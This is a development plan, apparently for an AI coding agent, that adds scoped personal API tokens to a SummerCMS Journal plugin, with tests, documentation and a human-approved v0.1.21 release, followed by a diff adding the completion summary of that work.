contains: "TestJournalTokenTracer"
- path: "modules/cabana/example_tokens_test.go"
provides: "compiled ResolveBackend example for the docs"
contains: "ExampleResolveBackend"
key_links:
- from: "../sm-journal-plugin/controllers/api/auth.go requireBackendPrincipal"
to: "summercms modules/cabana/token_guard.go ResolveBackend"
via: "per-request lookup of the resolver cabana.Activate published (Journal routes register before Activate)"
pattern: "ResolveBackend"
- from: "../sm-journal-plugin/token_scopes.go"
to: "cabana compileTokenScopes at boot"
via: "pact.HasTokenScopes on the Journal plugin"
pattern: "HasTokenScopes"
- from: "summercms annotated tag"
to: "../sm-journal-plugin/go.mod require"
via: "go mod edit -require after the human-approved push"
pattern: "git.golem15.com/golem15/summercms v0.1."
prohibitions:
- statement: "Journal error bodies and status codes stay byte-identical to the PHP contract; response shapes are not improved during the port (CLAUDE.md rule 6)."
status: unresolved
verification: judgment
- statement: "The Journal API never authenticates from the admin cookie; its write routes stay Bearer-only."
status: unresolved
verification: judgment
- statement: "No tag, branch or gitlink is pushed before the human approves at the release checkpoint; no pushed tag is moved or deleted; no credential is requested, printed or committed."
status: unresolved
verification: judgment
- statement: "The PHP Journal and Apparatus originals are not changed; Apparatus token rows are not migrated."
status: unresolved
verification: judgment
---
## Phase Goal
ROADMAP Goal (not in user-story format): backend users create personal API tokens with scopes picked at creation time, so an agent or integration calls the admin and plugin APIs as that backend user with no more access than the token's scope and the user's own permissions allow. Reverses Phase 15 D-15.
This plan's slice (user checkpoint, plan 3 of 4): the Journal plugin registers `journal` and `journal:read` and accepts tokens through the published cabana resolver (D-15), the remaining docs (Journal README, a compiled ResolveBackend example), and the release: summercms tag after v0.1.20, the Journal `go.mod` bump and the host gitlink bump, behind a blocking human checkpoint.
## Spec-less probe fallback
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
## Decisions taken in this plan
- **Featured images (RESEARCH open question 2), checked while planning:** the frozen PHP tree (`/media/nvme/dev/golem15/fonoteka/plugins/golem15/journal/controllers/api/PostApiController.php` uploadFeaturedImage :416-430 and deleteFeaturedImage :459-470) authorizes only through `$post->canEdit($user)`, exactly like update and destroy, under the `token.auth` group in routes.php. The Go handlers already match; this plan adds no `access_posts` check there (API parity is the acceptance test). A `journal:read` token is refused by the method filter, and a token without Journal coverage by the resolver's cover check.
- **Resolver errors to Journal bodies:** `cabana.ErrTokenScope` → 403 `errInsufficientPerms`; anything else → 401 `errAuthenticationRequired`; on optional-auth reads any error means anonymous.
- **Cover:** every Journal call passes the cover `golem15.journal.*` (RESEARCH Pattern 3).
- **Throttle (RESEARCH Pitfall 11):** the `journal-api` bucket still keys by client IP because it runs before the handler resolves the principal; documented, not changed.
- **Hosts:** sm-grzybyfunkcjonalne-app is the host that ships the Journal plugin to UAT and gets the journal gitlink bump (16.2 pattern; its framework require is nominal because it builds from `../summercms.go` through a replace). sm-summercmsio-app also carries a Journal gitlink (f5cd5b1, pre-16.2); bumping it would also pull in Phase 16.2, so the release checkpoint asks whether to bump it too (default: no). A UAT redeploy is not part of this plan; the release sheet names it as a follow-up (DEPLOY.md; `migrate` creates backend_api_tokens).
- **Tag:** the highest `v0.1.*` plus one (v0.1.21 unless someone tagged first), annotated, created only after the checkpoint.
## Artifacts this phase produces (this plan)
- `../sm-journal-plugin/token_scopes.go`: `(*Plugin).TokenScopes` with scopes `journal` and `journal:read`, compile-time assertion for `pact.HasTokenScopes`.
- Phrase keys `golem15.journal::lang.scopes.{journal, journal_description, journal_read, journal_read_description}` (en, pl).
- `../sm-journal-plugin/controllers/api/auth.go`: `requireBackendPrincipal` and `optionalBackendPrincipal` on `cabana.ResolveBackend`; the plugin's own guard constructor and its blacklist wiring removed; new helper `resolveError` mapping resolver errors to the PHP bodies.
- Tests: `TestResolveErrorMapping` (controllers/api, Docker-free); `TestJournalTokenTracer`, `TestJournalTokenExpansion` (root, Postgres).
- `modules/cabana/example_tokens_test.go`: `ExampleResolveBackend` (compile-only), included in docs/services/authentication.md.
- Journal README sections on scopes and token auth.
- Release: summercms annotated tag `v0.1.21` (or next free), Journal `go.mod` require of it, host journal gitlink bump; session values `RELEASE_TAG` and the pushed heads in the SUMMARY.
<objective>
Let an agent manage Journal posts as a backend author with a Journal-scoped token (SC-4), keep the Journal contract byte-identical, finish the docs (SC-5), and release the framework, the plugin and the host bump behind a human gate.
Purpose: the phase's main use case (CONTEXT Specific Ideas) works end to end against the released framework.
Output: Journal scope registration and resolver switch, smoke tests, README and docs, a pushed tag and bumps.
</objective>
<execution_context>
@~/.claude/msd-core/workflows/execute-plan.md
@~/.claude/msd-core/templates/summary.md
</execution_context>
<context>
@.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-CONTEXT.md
@.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-RESEARCH.md
@.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-01-SUMMARY.md
@.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-02-SUMMARY.md
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-07-SUMMARY.md
Repositories: ../sm-journal-plugin builds against ../summercms.go through its go.work replace, so the Journal code works before the tag; its go.mod require is nominal and is bumped after the tag. Release facts at planning time: summercms latest tag v0.1.20 (aba063f); sm-journal-plugin main 5eea57f (requires v0.1.20); sm-grzybyfunkcjonalne-app master f1d53af with journal gitlink 5eea57f. Docker: the Journal root package runs a testcontainers Postgres in TestMain; Docker-free runs use `-short` or the classes and controllers packages. Commits: no co-author tags, stage by explicit path in each repository, tests and code in separate commits where the plan says so.
</context>
<tasks>
<task type="tracer">
<name>Task 1: Tracer: a journal-scoped token created through the admin API creates a Journal post as its owner</name>
<files>../sm-journal-plugin/token_scopes.go, ../sm-journal-plugin/lang/en/lang.yaml, ../sm-journal-plugin/lang/pl/lang.yaml, ../sm-journal-plugin/controllers/api/auth.go, ../sm-journal-plugin/controllers/api/auth_test.go, ../sm-journal-plugin/journal_api_token_smoke_test.go</files>
<read_first>../sm-journal-plugin/controllers/api/auth.go (whole file), ../sm-journal-plugin/controllers/api/posts.go (Index :30, Show :119, Store :193, Update :238, Destroy :291, UploadFeaturedImage :323, DeleteFeaturedImage :391), ../sm-journal-plugin/controllers/api/media.go (UploadMedia :18), ../sm-journal-plugin/controllers/api/posts_helpers.go (canViewDraft :33), ../sm-journal-plugin/admin_permissions.go, ../sm-journal-plugin/plugin.go (capability assertions :25-33, Buckets), ../sm-journal-plugin/routes.go, ../sm-journal-plugin/lang/en/lang.yaml and pl/lang.yaml, ../sm-journal-plugin/admin_harness_test.go (TestMain :53, newPostsEnv, bootJournal, e.admin :241, e.call, adminAPI), ../sm-journal-plugin/journal_api_writes_test.go, summercms modules/cabana/token_guard.go (ResolveBackend, ErrUnauthenticated, ErrTokenScope) and 16.3-01-SUMMARY.md</read_first>
<action>Per D-04, D-01 and D-15, wire one Journal write through the framework token path.
Scopes: token_scopes.go declares the compile-time assertion for `pact.HasTokenScopes` and `TokenScopes()` returning `journal` (Permissions golem15.journal.*, Methods GET, HEAD, POST, PUT, PATCH, DELETE) and `journal:read` (golem15.journal.*, GET, HEAD), Label and Description as golem15.journal::lang.scopes.journal, scopes.journal_description, scopes.journal_read and scopes.journal_read_description. Add a `scopes:` block to lang/en and lang/pl (EN: "Journal" / "Create, edit, publish and delete posts as you, within your Journal permissions."; "Journal, read-only" / "Read posts, including drafts you may see, without changing anything."; PL equivalents).
Resolver switch (reverses Phase 15 D-15): in controllers/api/auth.go replace the plugin's own guard constructor (auth.go :58-81) and its blacklist and registry lookups with `cabana.ResolveBackend(app, r, "golem15.journal.*")`, looked up per request. `requireBackendPrincipal` keeps its signature and writes the existing bodies through a new `resolveError(w, err)`: `errors.Is(err, cabana.ErrTokenScope)` → `writeAPIError(w, 403, errInsufficientPerms)`, anything else → `writeAuthRequired`. `optionalBackendPrincipal` keeps the hasBearer short-cut for anonymous requests and treats every resolver error as anonymous. Remove imports and constants that become unused. No handler in posts.go or media.go changes.
Tests: `TestResolveErrorMapping` (controllers/api/auth_test.go, Docker-free): ErrTokenScope (also wrapped) → 403 with body exactly {"error":"Insufficient permissions"}, ErrUnauthenticated and a generic error → 401 {"error":"Authentication required"}. `TestJournalTokenTracer` (root package, Postgres): `newPostsEnv`, an admin with golem15.journal.access_posts via `e.admin`, POST `adminAPI("/account/tokens")` with that JWT and {name, scopes:["journal"]} → 201 and a g15_ token; POST /_journal/api/v1/posts with Bearer token and a minimal valid body → 201 and the stored post's user_id equals the admin's id.</action>
<verify>
<automated>go -C ../sm-journal-plugin vet ./... &amp;&amp; go -C ../sm-journal-plugin test -count=1 -run '^TestResolveErrorMapping$' -v ./controllers/api/ 2&gt;&amp;1 | grep -- '^--- PASS: TestResolveErrorMapping' &amp;&amp; go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/...</automated>
<fails_when>Non-zero exit: vet fails (an unused import or constant left behind), no "--- PASS: TestResolveErrorMapping" line (a resolver error maps to the wrong status or body), or a Journal classes or controllers test regressed.</fails_when>
<automated>docker info &gt;/dev/null 2&gt;&amp;1 &amp;&amp; go -C ../sm-journal-plugin test -count=1 -run '^TestJournalTokenTracer$' -v . 2&gt;&amp;1 | grep -- '^--- PASS: TestJournalTokenTracer'</automated>
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN in the SUMMARY), or the journal token could not be created through the admin API, the Journal write was refused, or the post's author is not the token's owner.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "func (\*Plugin) TokenScopes\|func (p \*Plugin) TokenScopes" ../sm-journal-plugin/token_scopes.go` prints one line and `grep -c "journal_read_description" ../sm-journal-plugin/lang/en/lang.yaml ../sm-journal-plugin/lang/pl/lang.yaml` reports 1 per file.
- `grep -c "cabana.ResolveBackend" ../sm-journal-plugin/controllers/api/auth.go` reports at least 2.
- `grep -v '^\s*//' ../sm-journal-plugin/controllers/api/auth.go | grep -c "NewBackendJWTGuard\|NewPostgresBlacklist"` reports 0.
- `git -C ../sm-journal-plugin diff --stat 5eea57f -- controllers/api/posts.go controllers/api/media.go` prints nothing (5eea57f is the pre-phase Journal head; no handler edits).
</acceptance_criteria>
<done>A journal-scoped token minted on the admin API creates a Journal post as its owner, and the resolver errors map to the PHP bodies.</done>
</task>
<task type="auto">
<name>Task 2: Journal token matrix (read scope, unrelated scope, optional-auth drafts, featured images, code-declared roles), Journal README, and the compiled ResolveBackend docs example</name>
<files>../sm-journal-plugin/journal_api_token_smoke_test.go, ../sm-journal-plugin/README.md, modules/cabana/example_tokens_test.go, docs/services/authentication.md</files>
<read_first>../sm-journal-plugin/journal_api_token_smoke_test.go (Task 1), ../sm-journal-plugin/journal_api_writes_test.go and journal_api_matrix_test.go (status and body assertions), ../sm-journal-plugin/admin_permissions.go (Roles developer), ../sm-journal-plugin/README.md (Features :19-28, Usage :30-150, API reference :231, Testing :303), /media/nvme/dev/golem15/fonoteka/plugins/golem15/journal/controllers/api/PostApiController.php (:313-330, :395-430, :459-470) and routes.php (:38-65), modules/cabana/example_test.go and example_controller_test.go (compile-only example style), docs/services/authentication.md (the plan 01 section on admin tokens on plugin routes), internal/docsite/snippet.go (src= rules)</read_first>
<action>Pin the rest of D-15 and RESEARCH Pitfalls 3 and 4 with one Postgres smoke, then document.
`TestJournalTokenExpansion` (root package, Postgres, same harness): with tokens created through the admin API for an editor that has golem15.journal.access_posts but not access_other_posts: a `journal:read` token POST /posts → 403 {"error":"Insufficient permissions"}; a `journal:read` token GET /posts/{slug} of the editor's own draft → 200 while an anonymous GET → 404; a token for a scope that does not cover golem15.journal.* (register a second test scope or use the framework `admin:read` on a POST) on POST /posts → 403 and on GET /posts behaves as anonymous; a `journal` token uploads and deletes a featured image on the editor's own post (canEdit parity, no access_posts requirement added) and gets 403 on another author's post; a revoked token → 401 {"error":"Authentication required"}; an admin whose Journal access comes only from the code-declared developer role (no role or user grant rows) creates a post with a JWT (Pitfall 4 behaviour change). Compare bodies byte for byte with the existing constants.
Journal README (D-20): Features line for writes ("a cabana backend JWT or a personal admin API token, g15_…, whose scope covers the Journal"); Usage: the two scopes (`journal`, `journal:read`), a token example request, optional-auth reads unlocking drafts, the error bodies, the reversal of Phase 15 D-15, the code-declared role change, the featured-image parity note and the IP-keyed journal-api throttle; API reference row for `journal.Plugin.TokenScopes`; Testing: the new tests.
Framework docs (D-20, remaining): `modules/cabana/example_tokens_test.go` with a compile-only `ExampleResolveBackend` showing a plugin handler (acme names) that calls `cabana.ResolveBackend(app, r, "acme.blog.*")` and maps `cabana.ErrTokenScope` to 403 and other errors to 401; include it in docs/services/authentication.md with a `src=modules/cabana/example_tokens_test.go#ExampleResolveBackend` fence next to the prose plan 01 wrote, and say the resolver reads the Bearer header only. Then check that every exported identifier this phase added is named in its module README (pact TokenScope, HasTokenScopes; bouncer ScopeLimit; party Activated; cabana BackendAPIToken, APITokenPrefix, ResolveBackend, ErrUnauthenticated, ErrTokenScope) and every admin:token command in the cabana README and docs/console/setup-and-maintenance.md; fix any gap in the same commit.</action>
<verify>
<automated>go vet ./modules/cabana &amp;&amp; go test -count=1 -run '^ExampleResolveBackend$|^TestDocsTree$' ./modules/cabana ./cmd/summer &amp;&amp; go run ./cmd/summer docs:build --check &amp;&amp; go -C ../sm-journal-plugin vet ./...</automated>
<fails_when>Non-zero exit: the example does not compile, TestDocsTree or docs:build --check reports an unknown identifier, a stale src= fence or a consuming-application name, or the Journal tests fail vet.</fails_when>
<automated>docker info &gt;/dev/null 2&gt;&amp;1 &amp;&amp; go -C ../sm-journal-plugin test -count=1 -run '^(TestJournalTokenTracer|TestJournalTokenExpansion|TestJournalWriteUnauthenticated|TestJournalFeaturedImageUnauthenticated)$' -v . 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 4</automated>
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN), or fewer than four passing tests: a read or unrelated scope reached a write, a draft leaked or stayed hidden, a featured-image route changed its PHP behaviour, an existing unauthenticated contract test changed, or a body differs from the PHP constants.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "journal:read" ../sm-journal-plugin/README.md` prints at least one line and `grep -n "Phase 15" ../sm-journal-plugin/README.md` names the reversal.
- `grep -n "src=modules/cabana/example_tokens_test.go#ExampleResolveBackend" docs/services/authentication.md` prints one line.
- For each of TokenScope, HasTokenScopes, ScopeLimit, Activated, BackendAPIToken, APITokenPrefix, ResolveBackend, ErrUnauthenticated, ErrTokenScope, `grep -l` over modules/pact/README.md, modules/bouncer/README.md, modules/party/README.md and modules/cabana/README.md finds at least one file.
</acceptance_criteria>
<done>Read-only, unrelated and revoked tokens are refused with the PHP bodies, drafts unlock as the owner may see them, featured images keep PHP parity, and the Journal README and framework docs cover the token integration.</done>
</task>
<task type="checkpoint:decision" gate="blocking-human">
<name>Task 3: Release gate: local checks green, tag chosen, one-way surfaces listed, a human approves the tag and pushes</name>
<read_first>.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-07-SUMMARY.md (how the last release ran), 16.3-01-SUMMARY.md, 16.3-02-SUMMARY.md and this plan's Task 1-2 SUMMARY notes (commits per repository, Postgres tests NOT RUN), 16.3-REVIEW.md and 16.3-SECURITY.md when present, ../sm-journal-plugin/go.mod, ../sm-grzybyfunkcjonalne-app/.gitmodules</read_first>
<action>Do everything automatable, print a release sheet, then stop.
Concurrency: in summercms.go `git status --porcelain -- modules admin docs scripts cmd` prints nothing, `git fetch origin --tags`, `git log --oneline HEAD..origin/master` prints nothing; the same clean and not-behind checks for ../sm-journal-plugin (main) and ../sm-grzybyfunkcjonalne-app (master). If an origin has commits this checkout lacks, stop and report; never merge or rebase on your own.
Tag: if `git tag --contains` on the first plan 01 commit lists a tag, propose reusing it; otherwise propose the highest of `git tag -l 'v0.1.*' --sort=-v:refname` plus one (v0.1.21 if nobody tagged after v0.1.20) and confirm with `git ls-remote --tags origin` that it does not exist.
Run the gate (verify command). Release sheet: the proposed tag; the one-way surfaces the tag publishes (pact.TokenScope and pact.HasTokenScopes; bouncer.ScopeLimit and Principal.Scope; party.Activated; cabana.BackendAPIToken, APITokenPrefix, ResolveBackend, ErrUnauthenticated, ErrTokenScope; the four account token routes; the g15_ format from D-07; table backend_api_tokens and migration 202610110001_backend_api_tokens); commits to push per repository; the Postgres suites recorded NOT RUN in plans 01 to 03; open high findings from 16.3-REVIEW.md or 16.3-SECURITY.md if they exist (an open high finding allows only docker-first or hold, per security_block_on high); whether sm-summercmsio-app's Journal gitlink should also move (it would pull in Phase 16.2; default no); and that a UAT redeploy is a separate follow-up. Stop for the human.</action>
<decision>Push summercms master and the proposed annotated tag, push the Journal go.mod bump, and push the host journal gitlink bump now?</decision>
<context>A pushed tag is read by other repositories' go.mod and the Go module proxy and publishes the pact scope capability and the cabana resolver; it cannot be moved, only superseded. Once a host deploys it, issued g15_ tokens live in agent configs (D-07 one-way). The unit-test plan (04) runs after this release, as in 16.2 (lean rule 3); its tests ship with the next tag.</context>
<options>
<option id="release-now">
<name>Release now with the proposed tag</name>
<pros>Hosts and the Journal plugin get scoped tokens immediately; the main use case is usable</pros>
<cons>Postgres suites recorded NOT RUN run later on a Docker host; a defect then needs the next tag</cons>
</option>
<option id="docker-first">
<name>Run the Docker-host suites first, then release</name>
<pros>The cabana token, account, command and conformance suites, the lagoon migration tests and the Journal token tests all run before the tag exists</pros>
<cons>Needs a Docker-enabled machine and delays the release</cons>
</option>
<option id="hold">
<name>Hold the release</name>
<pros>Nothing leaves this machine</pros>
<cons>Journal stays JWT-only for hosts; agents cannot use tokens yet</cons>
</option>
</options>
<resume-signal>Reply "release vX" (release-now), "docker passed, release vX" (docker-first, after the human ran the suites), optionally adding "and summercmsio" to also bump sm-summercmsio-app, or "hold".</resume-signal>
<verify>
<automated>go vet ./... &amp;&amp; go -C ../sm-journal-plugin vet ./... &amp;&amp; go test -count=1 -run '^(TestTokenTracerSmoke|TestTokenGatesSmoke|TestPhase09ContractInventory|TestPhase09PermissionMatrix|TestPhase10ConformanceInventory|TestPhase10CSRF)$' -v ./modules/cabana 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 6 &amp;&amp; go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/... &amp;&amp; go test -count=1 ./cmd/summer -run 'TestDocsTree|TestDelegateCommandsHelp' &amp;&amp; go run ./cmd/summer docs:build --check &amp;&amp; npm --prefix admin test &amp;&amp; bash scripts/check-admin-dist.sh &amp;&amp; bash scripts/check-admin-openapi.sh --check &amp;&amp; echo release-gate-ok</automated>
<fails_when>Non-zero exit or "release-gate-ok" absent: vet fails in either repository, fewer than six "--- PASS: Test" lines for the cabana token and inventory set, a Journal classes or controllers test fails, a docs check fails, an admin vitest case fails, or a dist or OpenAPI drift gate reports stale output.</fails_when>
</verify>
<acceptance_criteria>
- The gate printed release-gate-ok and the three repositories were clean and not behind origin.
- The SUMMARY records the release sheet (tag, one-way surfaces, commits per repository, suites NOT RUN, review findings, the sm-summercmsio-app question) and the human's reply verbatim.
</acceptance_criteria>
<done>A human chose release-now or docker-first with a named tag, or hold (the plan stops).</done>
</task>
<task type="auto">
<name>Task 4: Release: annotated summercms tag, Journal go.mod bump, host journal gitlink bump, all pushed</name>
<reversibility rating="one-way">A pushed annotated summercms tag publishes pact.HasTokenScopes and cabana.ResolveBackend to other repositories' go.mod and the Go module proxy (only supersedable), and lets hosts issue g15_ tokens in the D-07 format that then live in agent configs.</reversibility>
<precondition>Task 3 was answered "release vX" or "docker passed, release vX"; RELEASE_TAG is that tag in the session; `git ls-remote --tags origin "refs/tags/$RELEASE_TAG"` prints nothing unless Task 3 recorded a reused tag.</precondition>
<files>../sm-journal-plugin/go.mod, ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal</files>
<read_first>this plan's Task 3 release sheet in the SUMMARY, ../sm-journal-plugin/go.mod, ../sm-journal-plugin/go.work, ../sm-grzybyfunkcjonalne-app/.gitmodules, .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-07-SUMMARY.md (Release table)</read_first>
<action>Framework: unless Task 3 recorded a reused tag, re-run `git log --oneline HEAD..origin/master` (must print nothing), create the annotated tag on summercms.go master HEAD with message "$RELEASE_TAG: personal admin API tokens with scopes (pact.HasTokenScopes, cabana.ResolveBackend, admin:token commands, My account API tokens panel)", then push master and the tag.
sm-journal-plugin: `go -C ../sm-journal-plugin mod edit -require=git.golem15.com/golem15/summercms@$RELEASE_TAG` (the go.work replace stays, so the require is nominal); `go -C ../sm-journal-plugin vet ./...`; commit go.mod alone as "chore(deps): require summercms $RELEASE_TAG"; push main (this publishes Tasks 1 and 2).
Host ../sm-grzybyfunkcjonalne-app: in plugins/golem15/journal fetch origin and check out the sm-journal-plugin main just pushed; commit the gitlink alone as "chore: bump journal plugin (personal admin API tokens)" and push master. Only when the human's reply included "and summercmsio", do the same for ../sm-summercmsio-app/plugins/golem15/journal and report its build result. Record every pushed head and the tag object in the SUMMARY.</action>
<verify>
<automated>test -n "$(git ls-remote --tags origin "refs/tags/$RELEASE_TAG")" &amp;&amp; test "$(git -C ../sm-journal-plugin rev-parse main)" = "$(git -C ../sm-journal-plugin rev-parse origin/main)" &amp;&amp; grep -q "git.golem15.com/golem15/summercms $RELEASE_TAG" ../sm-journal-plugin/go.mod &amp;&amp; test "$(git -C ../sm-grzybyfunkcjonalne-app ls-files -s plugins/golem15/journal | cut -d' ' -f2)" = "$(git -C ../sm-journal-plugin rev-parse main)" &amp;&amp; test "$(git -C ../sm-grzybyfunkcjonalne-app rev-parse master)" = "$(git -C ../sm-grzybyfunkcjonalne-app rev-parse origin/master)" &amp;&amp; echo release-ok</automated>
<fails_when>Non-zero exit or "release-ok" absent: the tag is not on origin, Journal main is not pushed, go.mod does not require the tag, the host gitlink does not point at the pushed Journal head, or the host master is not pushed.</fails_when>
</verify>
<acceptance_criteria>
- `git ls-remote --tags origin` lists the release tag (or the SUMMARY names the reused tag).
- The verify prints release-ok.
- The SUMMARY records the tag, every pushed head and the commit messages; no credential appears in it.
</acceptance_criteria>
<done>The framework tag, the Journal plugin requiring it and the host bump are on origin.</done>
</task>
</tasks>
<threat_model>
## Trust Boundaries
| Boundary | Description |
|----------|-------------|
| agent → Journal API | Bearer JWT or g15_ token; untrusted |
| Journal handlers → ownership checks | CanEdit and canViewDraft trust the principal the resolver returns |
| executor → git origin | tags and branches are read by other repositories |
## STRIDE Threat Register
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|-----------|----------|-----------|----------|-------------|-----------------|
| T-16.3-18 | Elevation of Privilege | Journal ownership branches (CanEdit, canViewDraft, featured images) | high | mitigate | Every Journal principal comes from cabana.ResolveBackend with cover golem15.journal.*; a token without Journal coverage gets 403 on writes and is anonymous on reads; TestJournalTokenExpansion pins it |
| T-16.3-19 | Elevation of Privilege | journal:read on write routes | high | mitigate | Method filter in the resolver refuses non-GET/HEAD before the handler; 403 Insufficient permissions |
| T-16.3-20 | Spoofing / Tampering (CSRF) | Journal write routes | high | mitigate | The resolver reads only the Bearer header (plan 01), so the admin cookie cannot authenticate a Journal write; Journal keeps its Bearer-only contract |
| T-16.3-21 | Information Disclosure | Journal error bodies | low | mitigate | Only the existing PHP constants are written; resolver error text never reaches the client |
| T-16.3-22 | Tampering / Repudiation | tag and pushes | high | mitigate | Clean, not-behind trees and an absent tag checked at a blocking-human checkpoint; one-way surfaces and NOT RUN suites listed for the human; heads recorded in the SUMMARY; no pushed tag moved |
| T-16.3-23 | Elevation of Privilege | code-declared role grants on the Journal API | low | accept | Intended fix (the admin API already honors them); documented in the Journal README as a behaviour change |
| T-16.3-SC | Tampering | npm/pip/cargo installs | high | mitigate | No package is installed; go mod edit changes only the nominal summercms require; builds use committed go.sum and lockfiles |
</threat_model>
<verification>
- Task 1: Journal vet, resolver mapping test, classes and controllers tests; the Postgres tracer on a Docker host.
- Task 2: example compiles, docs checks pass; the Journal token matrix on a Docker host.
- Task 3: release-gate-ok and a human decision.
- Task 4: release-ok.
</verification>
<success_criteria>
- SC-4: an agent manages Journal posts with a journal-scoped token as a backend author.
- SC-2 for plugin routes: read, unrelated and revoked tokens are refused with the PHP bodies.
- SC-5: Journal README and the compiled ResolveBackend example are in place.
- The release is pushed only after human approval.
</success_criteria>
<output>
Create `.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-03-SUMMARY.md` when done, with the commits per repository, the release sheet, the human's reply, the tag and pushed heads, and the Postgres tests run or NOT RUN.
</output>

View File

@@ -0,0 +1,221 @@
---
phase: 16.3-backend-admin-personal-api-tokens-with-scopes
plan: 03
subsystem: auth
tags: [api-tokens, journal, ResolveBackend, release, g15, scopes]
requires:
- phase: 16.3-backend-admin-personal-api-tokens-with-scopes
provides: cabana.ResolveBackend, account token API, admin SPA tokens card
provides:
- "journal and journal:read token scopes on sm-journal-plugin"
- "Journal API auth via cabana.ResolveBackend with cover golem15.journal.*"
- "ExampleResolveBackend docs example and Journal README token docs"
- "summercms v0.1.21 release with Journal go.mod and host gitlink bumps"
affects: [16.3-04, sm-journal-plugin, sm-grzybyfunkcjonalne-app]
actuals:
tokens: 20568
tasks: 4
commits: 2
plan_head_before: 611f98e33ba45b1f7718ead84cb8f8474e879f33
plan_head_after: 2030fd881aa08347931c638a90548b16bc188f86
tech-stack:
added: []
patterns:
- "Journal principals only via cabana.ResolveBackend(cover golem15.journal.*)"
- "ErrTokenScope → 403 Insufficient permissions; other resolver errors → 401 Authentication required"
- "Optional-auth reads treat cover/auth failure as anonymous"
key-files:
created:
- ../sm-journal-plugin/token_scopes.go
- ../sm-journal-plugin/controllers/api/auth_test.go
- ../sm-journal-plugin/journal_api_token_smoke_test.go
- modules/cabana/example_tokens_test.go
modified:
- ../sm-journal-plugin/controllers/api/auth.go
- ../sm-journal-plugin/lang/en/lang.yaml
- ../sm-journal-plugin/lang/pl/lang.yaml
- ../sm-journal-plugin/README.md
- ../sm-journal-plugin/go.mod
- docs/services/authentication.md
- modules/cabana/phase10_csrf_test.go
- ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal
key-decisions:
- "Human resume: release v0.1.21 (release-now); no sm-summercmsio-app bump"
- "Probe test scope acme.probe registered for cover-failure cases because admin:read is Full on GET"
- "CSRF walk count updated 30→32 for account token create/revoke routes"
patterns-established:
- "Plugin API writes: ResolveBackend + resolveError mapping to PHP bodies"
- "Release sheet at blocking-human gate before any tag/push"
requirements-completed: [SC-2, SC-4, SC-5]
coverage:
- id: D1
description: "journal-scoped token minted via admin API creates a Journal post as its owner"
requirement: SC-4
verification:
- kind: unit
ref: ../sm-journal-plugin/controllers/api/auth_test.go#TestResolveErrorMapping
status: pass
- kind: integration
ref: ../sm-journal-plugin/journal_api_token_smoke_test.go#TestJournalTokenTracer
status: pass
human_judgment: false
- id: D2
description: "Read/unrelated/revoked tokens, optional draft unlock, featured-image canEdit parity, code-declared roles"
requirement: SC-2
verification:
- kind: integration
ref: ../sm-journal-plugin/journal_api_token_smoke_test.go#TestJournalTokenExpansion
status: pass
human_judgment: false
- id: D3
description: "Journal README and ExampleResolveBackend docs"
requirement: SC-5
verification:
- kind: other
ref: go test ./cmd/summer -run TestDocsTree; go run ./cmd/summer docs:build --check
status: pass
human_judgment: false
- id: D4
description: "Human-approved release v0.1.21 with Journal require and host gitlink"
verification:
- kind: other
ref: git ls-remote --tags origin refs/tags/v0.1.21; release-ok verify
status: pass
human_judgment: true
rationale: "Tag and push require human approval at blocking-human gate"
duration: 658min
completed: 2026-10-11
status: complete
---
# Phase 16.3 Plan 03: Journal scopes, ResolveBackend and v0.1.21 release Summary
**Journal registers `journal` / `journal:read`, authenticates writes through `cabana.ResolveBackend`, documents the path, and ships as summercms `v0.1.21` with plugin and host bumps.**
## Performance
- **Duration:** 658 min (includes overnight pause at the blocking-human release gate)
- **Started:** 2026-10-11T00:09:06Z
- **Completed:** 2026-10-11T11:07:50Z
- **Tasks:** 4
- **Files modified:** 12 (across summercms.go, sm-journal-plugin, sm-grzybyfunkcjonalne-app)
## Accomplishments
- Journal `TokenScopes` + lang keys; API auth switched to `cabana.ResolveBackend` with cover `golem15.journal.*`
- Postgres tracer and expansion matrix (read scope, probe cover, drafts, featured images, revoke, developer role grants)
- `ExampleResolveBackend` in cabana docs; Journal README scopes / Phase 15 D-15 reversal
- Human-approved release: annotated tag `v0.1.21`, Journal `go.mod` require, host journal gitlink
## Task Commits
Each task was committed atomically:
1. **Task 1: Tracer** — `4ec64a3` (sm-journal-plugin, feat)
2. **Task 2: Matrix + docs** — `f2026c5` (sm-journal-plugin, feat); `60873a3` (summercms.go, docs)
3. **Task 3: Release gate** — gate `release-gate-ok`; human reply `release v0.1.21`; CSRF inventory fix `2030fd8` (summercms.go, fix)
4. **Task 4: Release** — tag `v0.1.21` object `dc181e6` on `2030fd8`; Journal bump `09308d9`; host gitlink `e44cfde`
**Plan metadata:** (this commit)
## Human reply (Task 3, verbatim)
```
release v0.1.21
```
No `and summercmsio` — sm-summercmsio-app was not bumped.
## Release
| Item | Value |
|------|-------|
| Proposed / shipped tag | `v0.1.21` |
| Tag object | `dc181e6224389647ce378ac1420e5df48eea2e04` |
| Tag points at | `2030fd881aa08347931c638a90548b16bc188f86` |
| summercms.go master (pushed) | `2030fd8` |
| sm-journal-plugin main (pushed) | `09308d9` (requires `summercms v0.1.21`) |
| sm-grzybyfunkcjonalne-app master (pushed) | `e44cfde` (journal gitlink `09308d9`) |
| sm-summercmsio-app | not bumped |
| UAT redeploy | follow-up (not this plan) |
### One-way surfaces published
